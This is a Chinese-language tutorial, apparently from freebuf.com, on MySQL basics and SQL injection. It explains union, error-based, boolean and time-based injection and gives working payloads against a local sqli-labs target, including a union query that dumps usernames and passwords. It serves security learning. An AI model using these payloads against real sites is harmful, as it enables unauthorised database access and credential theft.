第一部分 Mysql基础知识
1.1 常见网站架构
说明:这里需要小伙伴有常用sql语句的基础,请自行查漏补缺. 前边有LAMP环境的搭建(phpstudy).
1.为什么要有数据库?
如果一个网站只有几十个或者上百会员,那么直接存储在某个文件里就可以.但是当用户信息或者一些不常用的信息(比如前几个月的新闻数据)过多时,用文件存储就显得不方便存取.
而数据库正是为了解决大量数据的”管理问题”(增/删/查/改等操作)而开发的一套系统.
那么如果实现数据的管理就显得尤为重要,后边我们再说常用sql语句.
2.常见的网站架构是什么样的?
介绍sql注入之前,我们有必要了解一下大致的网站架构,以典型架构LAMP为例
(1)根据客户端的请求数据类型,可以把服务端资源分为静态和动态资源.
(2)静态资源就是我们平时说的”前台”信息,包括HTML/CSS/JS等,也就是web服务器可以直接解析客户端请求,不需要借助数据库就能完成.
(3)但是对于很多网站来说,大量的数据被存储在Mysql服务器中,那么作为web服务器如何从数据库获取数据呢?这时候就要借助”后端脚本”(当然这里是统称,也可以说是后端语言)的力量了.
(4)而常见的后端语言就是asp/aspx/php/jsp等,这些语言你可以理解为web服务器和mysql之间的桥梁.
(5)对于很多企业来说,最重要的就是数据. 而这也成为sql注入被很多黑客广泛应用的一种攻击方式.比如黑灰产里的倒卖用户信息,插入一些恶意代码等.
1.2 sql注入的原理
1.以我们进行百度搜索时某个”关键词”时,我们客户端的请求就会被带入数据库查询.
2.正常情况下,我们应该请求一些正确的内容,比如 www.baidu.com/s?id=1 这里,id=1是正常的参数
3.但是如果说某个网站存在sql注入漏洞,没有对客户端的输入做过滤,那么当我输入s?id=1′ and select database() –+
那么这里and后的语句就是”非法语句”,显然服务端不希望我们获取响应信息.这时,sql注入就出现了.
4.简单来说,sql注入就是服务端没有对客户端的输入信息做过滤,并且信息被带入了数据库查询.
5.了解了sql注入的原理,就知道sql注入的条件了: 对用户端输入过滤不严格;并且可以带入数据库查询.
1.3 sql注入的危害
1.暴露了数据库里的用户信息;
2.获取后台管理员账号和密码,达到进一步渗透的目的;
3.一些mysql运行权限过高,可以直接提权成功;
4.造成整个数据库被”脱库”等.
1.4 Mysql中的常用函数
1.有关select函数介绍(直接在mysql中进行查询)
- 语法: select 函数名
select user() #查看当前mysql登录用户
select session_user() #同上
select database() #查看当前使用的mysql数据库名
select @@version #查看当前mysql版本号
select @@basedir #数据库安装路径
select @@datadir #数据库数据存储路径
select @@version_compile_os #操作系统信息
2.myslq中的默认表和作用
- 在mysql5.0以后,必须要知道的几个表如下:
- Information_schema:提供了所有数据库中的元数据,存储了整个mysql中的所有库/表/列名等信息.
- Mysql:mysql的核心数据库,用来存储所有用户名/密码和数据库访问权限等信息.
- Performance_schema:记录了各种日志信息
- test:测试库,默认为空
3.mysql中必须要知道的表
看着好像有点蒙,如果是小白的话,就链接到数据库中,Navicat链接图形化界面查看一下吧.
一定要分清库名,表名,列名这些基本概念.
- #SCHEMATA表:存储了数据库中所有数据库信息
存储字段:SCHEMA_NAME
- #TABLES表:存储了数据库中所有表的信息
字段:TABLE_SCHEMA, TABLE_NAME - #COLUMNS表:存储了数据库中所有列的信息
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME - #user_privileges:用户权限信息
4.必会基本查询语句
想掌握就只能多敲几遍了.
- select database(); #查看当前库名;
- select table_name from information_schema.tables where table_schema=database() ; #查看当前库下的表名
- select column_name from information_schema.columns where table_schema=database() and table_name=’user’; #查询列名
- select name,password from user; #获取用户名和密码列
5.mysql中的注释风格(以下方式都可以)
- # (url编码为%23)
- — (–后边要跟上一个或多个空格)
- /* ….. */
- /*! …. */ 内联注释
- select * /*!22222from*/ users; #数字小于当前mysql版本号,就正常显示;等于或大于就查询异常.
第二部分 SQL注入分类
2.1 sql注入分类介绍
说明:今天只说union注入方式,靶机其他注入方式实战先说理论.
1.按照基本的数据类型,sql注入分为整型和字符型.
(1)整型:就是用户传递到服务端的数据被当做”数字类型”来处理.
$sql = “select * from table where id=1” #如果查询的时候,sql语句中id=n没有被引号包裹,那么就叫做整型注入;
(2)字符型:就是用户传递到服务端的数据被当做”字符串类型”来处理.
$sql = “select * from table where id=’用户’ ” #如果查询的时候,sql语句中id=’user’时,查询内容被引号包裹,那么就叫做字符型注入;
2.如何判断网站是否存在注入
一般请求的url为 http://192.168.1.1/sqli/Less-1/?id=1 这个URL中,被带入数据库的请求参数就是id=后的1. 如果要判断是否存在注入,可以用以下方式:
(1)在1后加’ 单引号
(2)在1后加/ 斜杠
(3)在1后加and 1=1 或者 and 1=2
(4)在1后加and sleep(5)
3.还有字符型和整型的最大区别是:字符型需要先闭合前边的”引号”,后边加注释.
$sql = “select * from table where id=’1′ “; 在正常查询语句,在注入中,想把我们自己的语句加入进来,需要先闭合前边1的’ and 1=1 后边由于还有单引号,所以需要注释掉用–+
而整型则不需要闭合和注释.
2.2 联合查询注入
1.按照注入语法分为:联合查询注入Union/报错查询注入error/布尔型注入Boolean/延时注入Time/堆叠查询注入
2.联合查询注入是最简单的一种注入方式,但是要求页面必须有显示位.否则无法注入.
显示位:可以理解为从数据库提取的数据被显示在前端. 如果没有显示位,我们无法查看注入的结果.
3.联合查询一般步骤
(1)先判断是否存在注入,如果存在(正常和异常页面显示不同则存在注入)是字符型还是整型注入;
(2)判断列数
order by 用来对表里的数据进行排序,order by 1 表示按照第一列进行排序.依次类推.
order by 4的时候,没有显示结果,表示没有第4列.
(3)找到显示位
(4)获取库名
(5)获取表名
(6)获取列名
(7)获取字段信息
localhost/sqli/Less-1/?id=-1′ union select 1,group_concat(concat_ws(0x23,username,password)),3 from users –+
2.3 报错查询注入
1.union注入是最简单方便的,但是要求页面必须有显示位,没有就没法利用.
所以当页面没有显示位时,我们需要用其他方法来获取数据.
2.报错注入: 有些网站在开发调试阶段开启了报错提示信息,如果没有关闭,就有可能存在报错注入.
代码如下:
$sql = “select * from users where id = ‘$id'”;
#没有显示位,但是查询时有报错提示信息.
$result = mysqli_query($link,$sql) or die(“查询出错:”.mysqli_error($link));
3.所以报错注入的条件就是: 网站页面中必须开启了mysqli_error这个函数.
4.常用报错注入函数:
#函数1、floor函数:
floor(rand(0)*2):利用分组时生成的虚拟表出现主键冲突,报出错误信息.
基本格式: select count(*),concat(/*payload*/,floor(rand(0)*2)) as x from user group by x;
说明:payload可以替换为任意的查询语句.如下所示,database()还可以换成其他的数据库名/表名/列名等语句.concat是mysql中连接多个字符的函数,起到连接作用.
举例:
select count(*),concat(database(),floor(rand(0)*2)) as x from user group by x; #爆出当前库名
#函数2、extractvalue报错
基本格式: ?id=1 and extractvalue(1, (payload))
举例: ?id=1 and extractvalue(1, concat(0x7e,(select @@version),0x7e))
#函数3、updatexml报错
基本格式: ?id=1 and updatexml(1,(payload),1)
举例: ?id=1 and updatexml(1, (concat(0x7e,(select @@version),0x7e)),1)
2.4 布尔注入
1.如果页面既没有显示位,也没有报错提示的话,可以使用布尔注入.
2.通过插入一些语句查看结果来判断是否存在布尔注入.
3.布尔注入的几个常用函数
当然,几个函数可以搭配使用
- length(select database())>5 #length()里可以放查询语句,用来判断查询结果的长度
- exists( ) #exists()里可以放查询语句,用来判断查询结果是否存在
- ascii( ) #ascii()里可以放查询语句,用来把查询结果转换为ascii的值
- substr( string,pos,length) #用来截取查询结果,string可以用查询语句代替,pos表示截取位置–下标从1开始,length表示截取的长度;
举例:
select * from user where id=1 and length(user())>10; #如果user()用户长度>10,返回就正常;否则返回为空. 这个是完整的查询语句.
下边是测试URL时的语句
?id=1 and substr((select user()), 1, 1)=’r’ #判断用户第一个字符是否为r
?id=1 and substr((select user()), 2, 1)=’o’ #判断用户第二个字符是否为o
?id=1 and ascii(“r”)=114
?id=1 and ascii(substr((select user()), 1, 1))>114 #判断用户第一个字符的ascii表是否大于114
2.5 延时注入
1.如果布尔注入不行时,可以用延时注入.
2.延时注入基本格式:
- #IF(Condition,A,B)函数
#当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
eg:if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
3.举例
#(1)判断当前数据库长度
id=3′ and if(length(database())>10,sleep(5),1) –+ #判断数据库长度
#(2)获取当前连接数据库第一个字母
if(ascii(substr((select database()), 1, 1))=114, sleep(5), 1)
#(3)判断第一个数据库第一个字符。
if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1)
来源:freebuf.com 2020-07-15 00:15:58 by: zhijian
请登录后发表评论
注册